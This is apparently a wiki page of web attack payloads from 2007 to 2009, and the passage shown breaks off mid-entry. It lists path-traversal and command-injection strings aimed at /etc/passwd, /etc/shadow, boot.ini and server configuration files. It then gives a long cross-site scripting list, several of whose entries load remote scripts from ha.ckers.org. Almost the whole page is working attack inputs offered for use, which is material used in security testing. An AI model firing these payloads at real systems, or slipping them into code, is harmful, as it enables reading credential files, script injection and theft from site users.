\..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml 